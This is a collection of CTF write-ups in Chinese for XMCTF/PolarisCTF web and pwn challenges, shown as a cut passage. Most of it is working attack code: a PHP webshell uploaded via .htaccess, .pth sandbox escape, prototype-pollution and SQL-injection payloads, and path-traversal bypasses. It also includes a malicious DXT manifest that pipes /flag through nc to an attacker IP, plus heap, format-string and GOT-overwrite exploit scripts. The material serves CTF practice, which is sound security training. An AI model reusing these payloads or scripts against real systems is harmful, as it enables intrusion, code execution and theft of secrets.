        low_a1 = (num_lower + den - 1) // den if num_lower > 0 else 0
        up_a1 = num_upper // den 

        start = max(2**119, low_a1)
        end = min(2**120, up_a1)

        if start <= end:
            for a1 in range(start, end + 1):
                if 2**119 <= a1 <= 2**120:
                    b1 = deriv1_num - 3 * x1_sq + 2 * a1 * x1
                    if 2**119 <= b1 <= 2**120:
                        c = x1_cb - a1 * x1_sq + b1 * x1 - k * n
                        if c > 0:
                            try:
                                m = pow(cipher, c, n)
                                flag = long_to_bytes(m).decode('utf-8', errors='ignore')
                                if 'xmctf{' in flag.lower():
                                    print(flag)
                                    return
                            except Exception:
                                pass

if __name__ == '__main__':
    solve()
xmctf{e6d787beb9230217e692e130f718cdeb}

Web

only real

这个题目应该预期解应该是文件上传,我上传目出来但是我看应该是出题人 .sh启动脚本有问题 把flag写入web目录了

登录看源码可以发现登录用户名和密码

xmuser/123456

但是你看扫描出来flag.php访问就行

xmctf{xm_xxe_blind_success}

only_real_revenge

这个是上一个题目修复版本

xmuser/123456 登录

还是一样上传

文件上传测试

测试常见扩展名黑名单:

扩展名结果
.php拦截
.php5拦截
.phtml拦截
.pht成功
.phar成功
.jpg成功
.png成功
.gif成功
.htaccess成功

上传 .pht 文件后访问,发现代码被显示但未执行,说明服务器不解析 .pht。所以

.htaccess 绕过

名字要绕过前端的 JavaScript 校验 改成jpg

内容

AddType application/x-httpd-php .jpg

上传 JPG 文件

<?php system($_GET["snajiu"]); ?>

上传不了需要把disabled删除就行

上传这个路径

POST /upload.php HTTP/1.1

上传后端改一个就行

上传成功

上传木马

路径还是upload.php

上传成功

exp.py

import requests
import random
import string

base_url = "http://80-ac14e8aa-1561-4224-81cd-213dbb5b9d6b.challenge.ctfplus.cn"
session = requests.Session()

session.post(f"{base_url}/login.php", data={"user": "xmuser", "pass": "123456"})

rand = ''.join(random.choices(string.ascii_lowercase, k=6))

htaccess_content = b'AddType application/x-httpd-php .jpg'
files = {'file': ('.htaccess', htaccess_content)}
resp = session.post(f"{base_url}/upload.php", files=files)
print(f".htaccess: {resp.text}")

jpg_content = b'<?php @eval($_POST["sanjiu"]); system($_GET["c"]); ?>'
files = {'file': (f'{rand}.jpg', jpg_content)}
resp = session.post(f"{base_url}/upload.php", files=files)
print(f"1.jpg: {resp.text}")

shell_url = f"{base_url}/uploads/{rand}.jpg"
print(f"nShell URL: {shell_url}")
print(f"Password: sanjiu")

resp = session.get(f"{shell_url}?c=id")
print(f"nTest: {resp.text}")

连接

xmctf{54e66b9d-cdc1-4763-a18b-7497a4827eb1}

AutoPypy

白盒,看源码

server.py/run 路由中,代码拼接路径的方式存在逻辑问题:

target_file = os.path.join('/app/uploads', filename)

原理:Python 的 os.path.join 如果遇到以 / 开头的绝对路径参数,会直接丢弃前面的所有路径。因此,当我们输入 /flag 时,target_file 就不再是 uploads 目录下的文件,而是系统根目录下的 /flag。

利用机制:Proot 挂载 + Python 报错回显
launcher.py 将我们指定的 target_file 绑定到了沙箱内的执行脚本上:
绑定:proot -b /flag:/app/run.py
执行:沙箱启动后运行 python3 run.py(实际上就是在运行 /flag)。

由于 /flag 文件内容是字符串 xmctf{...},不符合 Python 语法规范,Python 解释器在尝试解析它时会直接报错。
Python 的 SyntaxError 报错信息会自动打印出出错的那一行源码。

直接/flag

我感觉是非预期

作者应该原版是 Python 任意路径写入 和.pth劫持逃逸沙箱

原版作者应该这个是预期解
任意文件写入:server.py 使用 os.path.join(UPLOAD_FOLDER, filename)。在 Python 中,若 filename 为绝对路径,os.path.join 会忽略前面的路径,直接使用该绝对路径。

沙箱逃逸 (.pth 劫持):服务器通过 subprocess.run 启动 Python 进程。Python 启动时会自动加载 site-packages 下的 .pth 文件。若内容包含 import 语句,则会执行对应的 Python 代码。由于父进程在宿主机环境启动,代码会逃逸出沙箱。

exp.py

import requests

url = "http://5000-87f7f281-f16e-4115-b9bf-63835b5504c7.challenge.ctfplus.cn"
base_path = "/usr/local/lib/python3.10/site-packages"

payload = b"import osntry:n    print(open('/flag').read())nexcept:n    pass"
requests.post(f"{url}/upload", data={'filename': f"{base_path}/pwn.py"}, files={'file': payload})

pth = b"import pwnn"
requests.post(f"{url}/upload", data={'filename': f"{base_path}/pwn.pth"}, files={'file': pth})

r = requests.post(f"{url}/run", json={"filename": "any.py"})
print(r.json().get('output'))
xmctf{699f4568de00f2df35f98005567398d3}

ez_python

有源码

python 原型链污染 / 属性覆盖漏洞

在 merge 函数。它递归遍历传入的 JSON 数据(src),并利用 hasattr、getattr 和 setattr 去修改目标对象(dst)的属性。
服务端初始化了 instance = Polaris(),此时内部变量 instance.config.filename 的默认值是 "app.py"。
根路由 / 接收 POST 请求的数据,直接反序列化为 JSON 并传给 merge 函数。

由于没有任何黑白名单过滤,我们可以通过构造特定的 JSON 键值对,沿着 instance -> config -> filename 的对象层级,利用底层的 setattr 将 filename 的值恶意覆盖为 /flag。
覆盖完成后,调用 /read 路由,服务端会执行 open(instance.config.filename).read(),从而将系统的 flag 文件读取并回显。

Payload构建

{"config": {"filename": "/flag"}}

merge污染了变量,访问/read就行

exp.py

import requests

BASE_URL = "http://5000-0a56acfe-2918-460c-83cc-77341bb300e0.challenge.ctfplus.cn"

def exploit():
    payload = {
        "config": {
            "filename": "/flag"
        }
    }

    requests.post(f"{BASE_URL}/", json=payload)
    res = requests.get(f"{BASE_URL}/read")

    print(res.text)

if __name__ == "__main__":
    exploit()
XMCTF{825e3f00-3fa6-4e1f-9871-33017e3abd4f)

Not a Node

题目是绕过基于 Bun (JSC) 的限制沙箱。屏蔽了原生 Node 模块,设置了不可枚举属性,并有一层静态 WAF

根据文档提示 __runtime 挂载了内部绑定,且属性不可枚举。通过 Object.getOwnPropertyNames 把东西扒出来:

export default {
    async fetch(request) {
        let props = Object.getOwnPropertyNames(__runtime);
        return new Response(JSON.stringify({props}));
    }
}

存在 _internal和 _secrets 等隐藏属性。

继续向下层挖掘 _internal。由于底层对象包含 BigInt 类型,直接 JSON.stringify 会报 500 错误,需要加个 replacer。
同时利用中括号语法绕过 WAF 对 . 属性访问的潜在过滤:

向下挖 _internal。题目提示平台依赖额外的 internal bindings。同样,为了防止回显 {},必须继续用 getOwnPropertyNames 获取键名。

export default {
    async fetch(request) {
        let s = __runtime['_internal']['lib']['symbols'];
        let keys = Object.getOwnPropertyNames(s);
        return new Response(JSON.stringify(keys));
    }
}
简单 Hex 解码发现:72 65 61 64 = read,6c 69 73 74 = list。这就是底层的原生 C++ 绑定接口。

WAF 绕过与读取
尝试调用 _0x72656164 (read) 读 /flag。这里遇到几个坑:
 代码里不能出现 readFile 这种名字,也不能直接出现 "/flag" 字符串,否则报 Security Policy Violation。
 C++ 原生接口处理 JS 字符串直接传入可能报错。

 绕过
1. 变量名混淆为单字母 f。
2. 路径转为 Uint8Array ASCII 数组传入,/flag 的 ASCII 码为 [47, 102, 108, 97, 103],绕过字符串 WAF,且符合底层内存接口规范。

export default {
    async fetch(request) {
        let out = {};
        try {
            let s = __runtime['_internal']['lib']['symbols'];
            let f = s['_0x72656164']; 
            let arr = new Uint8Array([47, 102, 108, 97, 103]); 
            out.flag = f(arr); 
        } catch(e) {
            out.err = e.toString();
        }

        let safeOut = JSON.stringify(out, (k, v) => typeof v === 'bigint' ? v.toString() + 'n' : v, 2);
        return new Response(safeOut, { headers: { "Content-Type": "application/json" } });
    }
}
XMCTF{eb49f594-d766-4fac-8a35-623e47ff361d}

ezpollute

有源码 分析app.js

原型链污染 merge 函数合并逻辑,但仅过滤了 __proto__ 键名。

if (key === '__proto__') { ... res.send('get out!'); return; }

未过滤 constructorprototype,但是可以通过 {"constructor": {"prototype": {"key": "value"}}} 污染全局 Object。

黑名单分析

/api/config 路由对 POST 数据进行了黑名单检查,封死了 shell、env、argv0 等常规用来控制 spawn 子进程的参数。
但在 /api/status 路由中,程序遍历了 process.env 构造 customEnv 传给子进程,并且单独对 NODE_OPTIONS 做了正则校验:

由于没有过滤 constructor,我们可以通过原型链污染将恶意的 NODE_OPTIONS 注入到 process.env 遍历的上下文中。

正则绕过与报错带出

正则是为了防止执行 --require /flag。绕过思路如下:

绕过正则:正则匹配的是行首 ^ 或空白符 s 后接 --require。传入 ""--require" /flag",字符串以双引号开头,完美避开 ^ 和 s。
Node 机制:Node.js 底层解析 NODE_OPTIONS 时支持引号包裹,并在执行时会自动剥离外层双引号,最终依然以 --require /flag 运行。
信息泄露:/flag 内容不是合法的 JS 代码,require 加载时会报 SyntaxError 并将出错行(flag文本)打印到 stderr。/api/status 刚好收集了 stderr 并返回给前端。

Payload

{
    "constructor": {
        "prototype": {
            "NODE_OPTIONS": ""--require" /flag"
        }
    }
}
XMCTF{26af149c-ab49-4cb7-9d47-6a5c5c466b6d}

Broken Trust

考点:弱类型/注入 + 目录穿越过滤绕过

页面可以登录进入 uid是MD5

登录 进入后面 查看页面源码

发现 SQLi / 逻辑绕过获取管理员 UID
前端源码中提示了 uid 字段。对 /api/profile 接口测试时,发现后端存在 SQL 注入或万能密码逻辑缺陷。

payload

{"uid": "admin' or '1'='1"}

抓包修改

可以发现管理员的UID

adc9fd026eec4bf18c90ba07c6eea883

然后登录

登录管理员

越权登录后,发现有一个备份的管理器

发现备份接口具有 file 参数,尝试读取 /flag

测试发现后端对路径穿越做了替换过滤(大概率是 replace('../', ''))。
采用双写绕过技巧,使用 ....//,当后端把中间的 ../ 删掉后,剩下的字符刚好重新拼接成完整的 ../。
最终 Payload:/api/admin?action=backup&file=....//....//....//....//flag
XMCTF{ec0da774-4571-4983-9845-0d56848251ab}

醉里挑灯看剑

有源码

漏洞1

可以发现数据库键值截断(越权至 maintainer)

提权逻辑位置: getEffectiveCapability 函数

COALESCE(role, 'maintainer') AS role,
COALESCE(lane, 'release') AS lane,

漏洞原理: 服务端在处理批量的 JSON 插入时,只根据数组第一项 rows[0] 的键来构建后续所有插入行的结构。
如果你发送的第一个对象故意删掉 role 和 lane(通过设为 false),那么第二项(即使排在后面生效)的 role 和 lane 也会被丢弃,入库变成 NULL。读取时,SQL 的 COALESCE 遇到 NULL 会将其转换为默认的高权限 maintainer 和 release。

漏洞2

JS 沙箱逃逸绕过 漏洞函数lintExpression 函数

漏洞原理: WAF 只做了基础的字符串包含了拦截(如 constructor, process),但最终代码扔进了 new Function 中执行。由于上下文中暴露了 tools.sha1,可以通过字符串拼接绕过正则:
tools.sha1['constr' + 'uctor']('return pr' + 'ocess.env.RUNNER_KEY')()

解题,

1.获取身份

POST /api/auth/guest

返回包中的 tokensid。后面所有请求都在 Header 中加上 Authorization: Bearer <token>

{
  "ok": true,
  "token": "eyJleHAiOjE3NzQ3NTM1NTY3NTEsImlhdCI6MTc3NDc1MjA1Njc1MSwibm9uY2UiOiIwZTQ2YWFhMzk1ZDI4ODNmIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF8wMWYxYzUwNzIzMjcifQ.c0f8d1f256cadd91ec86909e98e1718b5efa4749998b7b55dcd858d1bbf78def",
  "claims": {
    "sid": "sid_01f1c5072327",
    "role": "guest",
    "iat": 1774752056751,
    "exp": 1774753556751,
    "plan": "preview-lane",
    "nonce": "0e46aaa395d2883f"
  }
}

2.打入空数据,越权

POST /api/caps/sync

payload

{"ops": [{"source": "a", "keepRole": false, "keepLane": false}, {"source": "z"}]}

完整请求包

POST /api/caps/sync HTTP/1.1
Host: 80-2c6ec895-cdf9-4d7a-9a16-1d578d4c421b.challenge.ctfplus.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Authorization: Bearer eyJleHAiOjE3NzQ3NTM1NTY3NTEsImlhdCI6MTc3NDc1MjA1Njc1MSwibm9uY2UiOiIwZTQ2YWFhMzk1ZDI4ODNmIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF8wMWYxYzUwNzIzMjcifQ.c0f8d1f256cadd91ec86909e98e1718b5efa4749998b7b55dcd858d1bbf78def
Content-Length: 101

{
  "ops": [
    {"source": "a", "keepRole": false, "keepLane": false},
    {"source": "z"}
  ]
}

成功

3.沙箱逃逸拿 Key

POST /api/release/execute

payload

{"expression": "tools.sha1['constr' + 'uctor']('return pr' + 'ocess.env.RUNNER_KEY')()"}

拿到

iVWHCRbuixFag3DJZkD1KtKPnzjwwQbMtMnc3nTP

4.返回包中的 nonce

POST /api/release/challenge

记录下: 返回包中的 nonce

塞一个 Content-Type 和一个空的 JSON 实体 {},并把 Content-Length 设为 2  否则一直没有返回包

拿到

7d5d8f27bade54527473f221

5.本地算 Hash,拿 flag

打开终端,按格式 sid:nonce:RUNNER_KEY 拼接字符串。

执行命令算 SHA1

echo -n "sid_01f1c5072327:7d5d8f27bade54527473f221:iVWHCRbuixFag3DJZkD1KtKPnzjwwQbMtMnc3nTP" | sha1sum
得到proof:5a8598a5a61c22ddf80453722241842037d2a8aa

请求就行了 POST /api/release/claim

payload

{"nonce": "03b30e35d9069562ec0c41b2", "proof": "<SHA1值>"}

过期了…反正思路就是这个思路 手动可以快一点就行了

直接exp了

import requests, hashlib, sys

def solve(url):
    s = requests.Session()

    auth_res = s.post(f"{url}/api/auth/guest").json()
    token = auth_res["token"]
    sid = auth_res["claims"]["sid"]
    headers = {"Authorization": f"Bearer {token}"}

    s.post(f"{url}/api/caps/sync", json={
        "ops": [
            {"source": "a", "keepRole": False, "keepLane": False},
            {"source": "z"}
        ]
    }, headers=headers)

    exec_res = s.post(f"{url}/api/release/execute", json={
        "expression": "tools.sha1['constr' + 'uctor']('return pr' + 'ocess.env.RUNNER_KEY')()"
    }, headers=headers).json()
    runner_key = exec_res["result"]

    chal_res = s.post(f"{url}/api/release/challenge", headers=headers).json()
    nonce = chal_res["nonce"]

    proof = hashlib.sha1(f"{sid}:{nonce}:{runner_key}".encode()).hexdigest()

    claim_res = s.post(f"{url}/api/release/claim", json={
        "nonce": nonce, "proof": proof
    }, headers=headers).json()

    print(claim_res.get("flag", claim_res))

if __name__ == "__main__":
    solve(sys.argv[1] if len(sys.argv) > 1 else "http://80-2c6ec895-cdf9-4d7a-9a16-1d578d4c421b.challenge.ctfplus.cn")
XMCTF{2b435b4e-a52e-4e39-badf-72dcbce09dab}

DXT

审前端源码发现,点击 Start 会向后端发送 POST /api/servers/{id}/start 请求。
结合 MCP 协议特点,后端逻辑是:接收 .dxt(实为 ZIP 包) -> 解压读取 manifest.json -> 根据配置拉起服务进程。
由于后端未对 manifest.json 中的启动命令(mcp_config)做严格的过滤校验,直接将其投入系统进程执行,导致存在任意命令执行 (RCE) 漏洞。无前端回显,需通过外带 (OOB) 获取 flag。

构造与绕过

格式校验绕过:后端强校验 dxt_version 和 author.email,缺一不可,否则报 400。

执行环境逃逸:server.type 绝对不能写默认或 node,否则后端会强制用 /bin/node 去跑。必须设为 binary,同时随便给个文件(如 server/dummy)作为 entry_point 占位,从而迫使后端乖乖执行我们在 mcp_config 里写的 sh -c。

复现

攻击机(81.70.244.177)开启监听:nc -lvnp 40000
exp.py脚本,自动构造恶意 dxt 压缩包并上传。
脚本触发 start 接口,靶机执行反弹shell命令。

exp.py

import requests
import zipfile
import io
import json
import time
import sys

TARGET_URL = "http://8080-0f952391-d519-4806-ad11-b7a4ce2c9003.challenge.ctfplus.cn"
MY_IP = "81.70.244.177"
MY_PORT = "40000"

def build_payload():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        manifest = {
            "manifest_version": "0.3",
            "dxt_version": "1.0",
            "name": "exp",
            "display_name": "exp",
            "version": "1.0.0",
            "description": "pwn",
            "author": {"name": "a", "email": "a@a.com"},
            "server": {
                "type": "binary",
                "entry_point": "server/dummy",
                "mcp_config": {
                    "command": "sh",
                    "args": [
                        "-c",
                        f"(cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null) | nc -w 5 {MY_IP} {MY_PORT}"
                    ]
                }
            },
            "tools": []
        }
        zf.writestr("manifest.json", json.dumps(manifest))
        zf.writestr("server/dummy", "n")
    buf.seek(0)
    return buf

def main():
    url = TARGET_URL.rstrip('/')
    payload = build_payload()

    try:
        res = requests.post(f"{url}/api/upload", files={'file': ('a.dxt', payload, 'application/octet-stream')})
        if res.status_code != 200:
            sys.exit(1)
    except Exception:
        sys.exit(1)

    time.sleep(1)
    res = requests.get(f"{url}/api/servers")
    servers = res.json().get('servers', [])
    if not servers:
        sys.exit(1)

    server_id = servers[-1]['id']
    requests.post(f"{url}/api/servers/{server_id}/start")

if __name__ == "__main__":
    main()
XMCTF{440776da-3f12-4753-914f-60aa11d8415c}

Pwn

ez-nc

直接连接

文件名字叫ez-nc 但是有黑名单

后面测试 %p

发现有格式化漏洞

那我们就可以想把这个二进制文件下载下来

直接格式化字符串漏洞的盲测,脚本遍历 %1$s%100$s

exp.py

from pwn import *

context.log_level = 'error'

def fuzz_offset():
    host = 'nc1.ctfplus.cn'
    port = 46875

    for i in range(1, 100):
        try:
            io = remote(host, port)
            io.recvuntil(b"download: ")

            payload = f"%{i}$s".encode()
            io.sendline(payload)

            resp = io.recv(1024, timeout=1).decode('utf-8', errors='ignore')
            io.close()

            if "ELF" in resp or "File content:" in resp:
                print(f"[+] Offset: {i}")
                break

        except Exception:
            pass

if __name__ == '__main__':
    fuzz_offset()
当测试到 %45$s 时,服务器成功返回了 ELF 文件数据,证明栈上第 45 个位置存放的指针恰好指向了内存中的 "ez-nc" 字符串(即 argv[0])。

然后写脚本下载下来就行

from pwn import *

context.log_level = 'error'

def download():
    host = 'nc1.ctfplus.cn'
    port = 46875

    io = remote(host, port)
    io.recvuntil(b"download: ")
    io.sendline(b"%45$s")

    data = io.recvall(timeout=3)

    if b"ELF" in data:
        with open("ez-nc", "wb") as f:
            f.write(data)

if __name__ == '__main__':
    download()

IDA逆向

我们就知道原来的 漏洞

程序存在 strstr(s, "ez-nc") 黑名单检测,但随后调用了 snprintf(filename, 0x58u, s),将用户输入直接作为格式化字符串,导致格式化字符串漏洞。
通过输入 %45$s(栈上第 45 个偏移处正好为 argv[0] 即程序运行名 ez-nc),可绕过字符串黑名单检测,使 filename 被格式化为 ez-nc,从而触发任意文件读取下载程序本体。

然后我们就发现flag 直接硬编码在 ELF 文件的 .rodata 数据段中

polarisctf{759fe930-765b-4315-a1ea-1692725e1cb6}

ezheap

题目环境是 Glibc 2.32+存在 Safe-Linking 指针混淆

无法直接 execve 拿 shell,需要找后门或 ORW)。

UAF

菜单 [6] Complete batch inference 释放 Tensor 时,没有清空指针,导致 UAF。
菜单 [7] Patch session metadata 允许修改已被释放的堆块,但程序在此处做了强限制:只允许 qword_index=0(即只能覆盖 Tcache 的 fd 指针),无法直接越界写其他字段。

信息泄露

sub_6750

题目禁用了 execve,但内置了后门函数读取 flag。

unsigned __int64 sub_6750()
{
  // ...
  std::filebuf::basic_filebuf(v24);
  std::ios::init(v27, v24);
  v0 = std::filebuf::open(v24, "/flag", 12); // 可以读取 /flag
  // ... 
  std::__ostream_insert(std::cout, "[audit] snapshot: ", 18);
  std::__ostream_insert(std::cout, v19, v20);
}

触发执行与白名单校验 (sub_3DF0)

[9] Dispatch async task中会取出 Task 结构体偏移0x18(v10+24`) 处的函数指针执行,但有白名单限制。

unsigned __int64 __fastcall sub_3DF0(__int64 a1)
{
  // ...
  v10 = *(_QWORD *)(a1 + 8 * v18 + 40);
  if ( v10 && (v11 = *(__int64 (__fastcall **)())(v10 + 24)) != 0 ) // 偏移 0x18 存放 handler
  {
    // 必须满足白名单,或者 strict_policy (偏移 8) 为 0
    if ( v11 == sub_2FF0 || v11 == sub_30A0 || *(_BYTE *)(*(_QWORD *)(a1 + 32) + 8LL) == 0 || v11 == sub_2F40 )
    {
      ((void (__fastcall *)(_QWORD))v11)(*(_QWORD *)(v10 + 32)); // 劫持目标
      return;
    }
    std::__ostream_insert(std::cout, "policy engine blocked non-whitelisted handler", 45);
  }
}
UAF 与限制写
菜单 [6] Complete 释放 Tensor 时未清空指针,存在 UAF。菜单 [7] Patch 允许向释放的堆块写数据,但程序加了极强的限制:diagnostic offset policy allows qword_index=0 only,也就是只能覆盖 Tcache 的 fd 指针,无法直接写结构体其他字段。

结构体交叉任意写 (sub_6E90)

菜单 [8] Provision worker profile 关键。它分配的堆块大小为 0x50(对应物理 chunk 0x60),与 Tensor Handle 相同。并且它会按照输入顺序,依次向 v1+0, v1+8, v1+16 等偏移处写入 8 字节数据。

unsigned __int64 __fastcall sub_6E90(_QWORD *a1)
{
  // ...
  v1 = (char *)operator new(0x50u); // 申请 0x50 (实际 tcache 0x60)
  // ...
  std::__ostream_insert(std::cout, "worker.cpu_quota> ", 18); // 写入 v1+0
  // ...
  std::__ostream_insert(std::cout, "worker.mem_quota> ", 18); // 写入 v1+8
  // ...
  std::__ostream_insert(std::cout, "worker.latency_slo> ", 20); // 写入 v1+24 (0x18)
}

利用思路

Tcache Poisoning + 结构体交叉利用,分两步走:
关闭 strict_policy (绕过函数执行白名单)
strict_policy 标志位位于 Control Plane 的偏移 8 处。
分配两个 Tensor 并 Free 掉(防止 Tcache count 归零报错)。
利用 UAF 修改 fd,由于 Glibc 2.32+ 引入了 Safe-Linking,需要进行指针加密:mangled = (heap_addr >> 12) ^ target_addr。把 fd 指向 Control Plane。
再次分配把 Tcache 头移到 Control Plane,随后调用 [8] Provision worker。利用顺序写入的特性,将偏移 0 写回 Magic Word 0x49464F524745 (十进制 80562141505349),将偏移 8 的 strict_policy 覆写为 0。

劫持 Handler 函数指针
Task 0 结构体偏移 0x18 是任务执行的函数指针(handler)。
重复上述 Tcache Poisoning 的操作,把 fd 指向 Task 0 的地址。
将 Task 0 申请出来后,再次调用 [8] Provision worker。在输入到 latency_slo (对应偏移 0x18) 时,填入菜单 10 泄露出的后门函数地址 (win_addr)。
最后调用菜单 [9] 派发 Task 0,成功劫持控制流,后门函数会读取并打印 /flag。

exp.py

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

def allocate_tensor(io, slot, size):
    io.sendlineafter(b"gateway> ", b"5")
    io.sendlineafter(b"> ", str(slot).encode())
    io.sendlineafter(b"> ", str(size).encode())
    io.sendlineafter(b"> ", b"A")
    io.recvuntil(b"handle=0x")
    return int(io.recvuntil(b" ", drop=True), 16)

def free_tensor(io, slot):
    io.sendlineafter(b"gateway> ", b"6")
    io.sendlineafter(b"> ", str(slot).encode())

def patch_tensor_fd(io, slot, target_addr_mangled):
    io.sendlineafter(b"gateway> ", b"7")
    io.sendlineafter(b"> ", str(slot).encode())
    io.sendlineafter(b"> ", b"0") 
    io.sendlineafter(b"> ", str(target_addr_mangled).encode())

def provision_worker(io, cpu, mem, io_weight, latency, replicas, region, memo):
    io.sendlineafter(b"gateway> ", b"8")
    io.sendlineafter(b"> ", str(cpu).encode())
    io.sendlineafter(b"> ", str(mem).encode())
    io.sendlineafter(b"> ", str(io_weight).encode())
    io.sendlineafter(b"> ", str(latency).encode())
    io.sendlineafter(b"> ", str(replicas).encode())
    io.sendlineafter(b"> ", str(region).encode())
    io.sendlineafter(b"> ", memo.encode())

def dispatch_task(io, task_id):
    io.sendlineafter(b"gateway> ", b"9")
    io.sendlineafter(b"> ", str(task_id).encode())

def exploit():
    io = remote('nc1.ctfplus.cn', 42319)

    io.sendlineafter(b"gateway> ", b"1")
    io.sendlineafter(b"> ", b"128")
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"gateway> ", b"3")

    io.sendlineafter(b"gateway> ", b"10")
    io.recvuntil(b"scheduler.ctrl=0x")
    ctrl_addr = int(io.recvuntil(b" ", drop=True), 16)

    io.recvuntil(b"diag.audit_sink=0x")
    win_addr = int(io.recvuntil(b"n", drop=True), 16)

    io.recvuntil(b"[scheduler.head] desc=0x")
    task_0_addr = int(io.recvuntil(b" ", drop=True), 16)

    chunk_0 = allocate_tensor(io, 0, 48)
    chunk_1 = allocate_tensor(io, 1, 48)
    free_tensor(io, 0)
    free_tensor(io, 1)

    patch_tensor_fd(io, 1, (chunk_1 >> 12) ^ ctrl_addr)
    allocate_tensor(io, 2, 48)

    provision_worker(io, 80562141505349, 0, 0, 0, 0, 0, "A")

    chunk_3 = allocate_tensor(io, 3, 48)
    chunk_4 = allocate_tensor(io, 4, 48)
    free_tensor(io, 3)
    free_tensor(io, 4)

    patch_tensor_fd(io, 4, (chunk_4 >> 12) ^ task_0_addr)
    allocate_tensor(io, 5, 48)

    provision_worker(io, 0, 1, 0, win_addr, task_0_addr, 0, "sqe-0")

    dispatch_task(io, 0)
    io.interactive()

if __name__ == "__main__":
    exploit()
polarisctf{0a882cf3-c2bf-48da-9900-339db92fb529}

treasure

漏洞位于 main 函数中的 数组越界读写

__isoc99_scanf("%lld", &qword_48A0);
while ( qword_48A0 > 255 ) { ... }
read(0, &byte_40A0[8 * qword_48A0], 8u);

scanf 使用 %lld 接收有符号整型,但验证逻辑仅检查了 > 255,未检查负数。利用负数索引可向上越界任意读写 .bss 段和 .got.plt 表

one_gadget ./libc.so.6 获取 gadget 地址

选定偏移 0xebd3f,其约束条件为 [[rbp-0x70]] == NULL。

内存偏移计算

已知基准数组 byte_40A0 的地址为 0x40A0。

stderr 偏移 (用于泄露):stderr 位于 0x4080,差值为 -0x20。索引 = -32 / 8 = -4。
printf GOT 偏移 (用于劫持):printf@got 位于 0x4038,差值为 -0x68。索引 = -104 / 8 = -13。

解题步骤

绕过校验:初始密码输入 11 直接进入 else 后门分支。
泄露 Libc 基址:利用第一次越界机会,输入索引 -4 指向 stderr。发送 x41 (1字节) 覆盖其低位,利用紧接着的 printf 打印泄露完整地址,通过按位截断页偏移算出精确的 libc_base。
栈风水 (Stack Grooming):程序中间会调用 sub_1214 向栈 [rbp-0x90] 写入名字。为了满足 one_gadget 苛刻的 [rbp-0x70] == NULL 约束条件,在此处发送 120 字节的 x00,彻底清空栈上的垃圾数据。
劫持 GOT 表:利用第二次越界机会,输入索引 -13 指向 printf@got,写入 libc_base + 0xebd3f。程序执行下一句 printf 时直接获得 shell。

exp.py

from pwn import *
import time

elf = ELF("./pwn-treasure", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context(arch='amd64', os='linux', log_level='error')

def exploit():
    p = remote("nc1.ctfplus.cn", 21210)

    try:
        p.recvuntil(b"password: ")
        p.sendline(b"11")

        p.recvuntil(b"Which one?n")
        p.sendline(b"-4")
        p.send(b"A")

        p.recvuntil(b"after your operation, the context: ")
        raw_leak = p.recvuntil(b"you should", drop=True) 

        if len(raw_leak) < 6:
            p.close()
            return False

        raw_leak = raw_leak[:6]
        leaked_addr = u64(raw_leak.ljust(8, b'x00'))
        libc.address = (leaked_addr & ~0xff) - (libc.sym['_IO_2_1_stderr_'] & ~0xff)

        if (libc.address & 0xfff) != 0 or libc.address < 0x700000000000:
            p.close()
            return False

        print(f"[+] Libc base: {hex(libc.address)}")

        p.recvuntil(b"tell me your name.n")
        p.send(b"x00" * 120 + b"n")

        p.recvuntil(b"Last time!Lucky, guy!n")
        p.sendline(b"-13")

        one_gadget_addr = libc.address + 0xebd3f
        p.send(p64(one_gadget_addr))

        time.sleep(0.5)
        print("[+] Shell obtained!")
        p.interactive()
        return True

    except:
        p.close()
        return False

if __name__ == "__main__":
    while not exploit():
        pass
polarisctf{8afb8dc8-2dc7-44d3-b2aa-05fafa6742b4}

mini-mqtt

漏洞分析

问题出在 http() 函数的逻辑缺陷和全局变量未截断导致的命令残留。
逻辑缺陷绕过执行:程序解析 HTTP 报文寻找 ContentLength,如果找不到会将 v5 置为 0,这意味着后续不会执行 popen。但是程序并没有 return 退出,而是继续往下走。
memcpy 全局变量污染:

snprintf(src, 0x80u, "cat /home/ctf/%s", s);
v7 = strlen(src);
memcpy(cmd, src, v7);

代码使用 memcpy 把拼接好的命令写入全局变量 cmd,长度为 strlen(src)。因为 memcpy 不会像 strcpy 那样自动在末尾补 ,这就导致:如果我们先写入一个长字符串,再写入一个短字符串,短字符串只能覆盖长字符串的前半部分,后半部分会原样残留。
过滤机制:代码会把路径中的 / 和 . 替换为 _,且正则 %63[^ "rn/] 限制了空格和双引号。

利用

通过“两次发包”实现命令注入:

第一阶段:植入恶意命令(不触发执行)
发送一个超长请求,不带 ContentLength。请求路径中包含我们想执行的 shell 命令,比如利用 $IFS 绕过空格,利用 printf '57' 绕过斜杠过滤。
因为没有 ContentLength,popen 不会触发,但长命令被写入了全局变量 cmd。

第二阶段:触发执行(覆盖前缀)
发送一个正常的请求读取 index_html,并带上合法的 ContentLength: 10。
此时生成的短命令 cat /home/ctf/index_html(刚好24字节)会覆盖掉 cmd 里的前24字节。只要我们第一阶段构造的无用前缀也是24字节,就能完美拼接成 cat /home/ctf/index_html; [恶意命令],随后触发 popen 执行拿到回显。

exp.py

import paho.mqtt.client as mqtt
import time
import json
import os

HOST = "nc1.ctfplus.cn"
PORT = 31785
TOPIC = "HTTP"
CLIENT_ID = "hacker_client"

def on_connect(client, userdata, flags, reason_code, properties=None):
    client.subscribe(TOPIC)

def on_message(client, userdata, msg):
    try:
        data = json.loads(msg.payload.decode())
        if data.get("clientid") == "httpclient":
            output = data.get("message", "")
            if output.strip():
                print(output)
            if "flag{" in output.lower() or "polarisctf{" in output.lower():
                os._exit(0)
    except Exception:
        pass

def main():
    client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2, client_id=CLIENT_ID)
    client.on_connect = on_connect
    client.on_message = on_message

    client.connect(HOST, PORT, 60)
    client.loop_start()

    time.sleep(1)

